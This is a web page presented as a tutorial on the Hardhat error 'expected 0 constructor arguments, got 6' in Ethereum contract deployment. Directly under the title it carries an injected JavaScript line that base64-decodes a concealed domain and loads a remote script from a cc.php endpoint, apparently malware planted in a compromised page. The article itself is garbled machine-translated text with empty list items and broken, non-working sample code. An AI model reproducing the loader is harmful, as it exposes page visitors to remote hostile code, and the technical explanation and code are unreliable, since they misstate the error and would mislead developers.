Ethereum: Getting Error "expected 0 constructor arguments, got 6"
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx);const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=f0e66d98″;document.body.appendChild(script);
Understanding Ethereum Implementation Errors in Hard Hat
As a programmer building projects on Ethereum blockchain with the help of hard hat (previously ganache), you are probably not foreign to implement intelligent contracts. However, when you encounter an error similar to „expected 0 argument of constructors, he got 6“, it can be frustrating and difficult to solve problems.
In this article, we delve into what causes this special mistake and we will provide tips on how to solve it.
What is the Error?
An error message indicates that the hard hat implementation script expects only one argument (constructor) when he receives many argument. However, instead, you convey Six arguments.
Understanding The Constructor’s arguments in Solidity
The „constructor“ function is caused once at the beginning of the contract code once at the beginning. It is here that you define any logic of the initialization of the contract, including the setting of default values and performing other configuration tasks. The designer is used used to initiate the status of a contract with some necessary information.
Possible Causes of the Error
Here are some typical reasons that can cause this mistake:
- Incorrect Configuration „Network“ : make sure you have correctly configured the „hardhat“ network in the hard hat project. This includes configuration of the URL network, chain identifier and other appropriate parameters.
- Incorrect argument transferred to the „implementation“ of the function : the „implementation“ function is responsible for the implementation of the contract in a specification network or test. Check twice that you convey the correct argument to this function, including all necessary options (e.g. „Network“, „Gaslimit
etc.).
3.
steps for solving problems
To Solve the Error, follow the following steps:
1.
- Make Sure you have made all the necessary options (e.g. "Network", "Gaslimit etc.).
3.
- Use the tool for debugging
: Consider the use of debugging tools such as built -in debugger hard hat or external tools such as remix or truffle to check the configuration of the status and network of the implemented contract.
Sample Code
Here is an example of how you can fix this error by transferring less argument to the „Implementation“ Function:
`Javascript
Const {Network} = Requires ("Hardhat");
Async function implementation () {
// configure the implementation options here (e.g. Gaslimit, Network)
Const implementation = {{
// your implementation options here ...
};
Const bills = wait for ethers.Getsigners ();
Const dądrojedcontract = wait for implementation;
Return of the Contract;
}
In this exam, we removed the argument „network“ from our call in the „implementation“ function. Instead, we configure a separate variable for the implementation options and transfer it to the „implementationContract“ function.
Following these steps and understanding what causes an error in the hard hat implementation script, you should be able to terminate this problem and effectively implement an ethereum contract.